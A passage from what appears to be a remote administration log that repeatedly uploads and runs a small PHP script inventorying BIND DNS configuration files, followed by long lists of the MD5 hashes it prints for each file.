MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:53:26: Establishing a connection
2026-04-23 14:53:26: 

PUT: /tmp/pkp113196

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:53:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp113196; rm /tmp/pkp113196'

2026-04-23 14:53:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:53:28: Establishing a connection
2026-04-23 14:53:28: 

PUT: /tmp/pkp347179

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:53:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp347179; rm /tmp/pkp347179'

2026-04-23 14:53:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
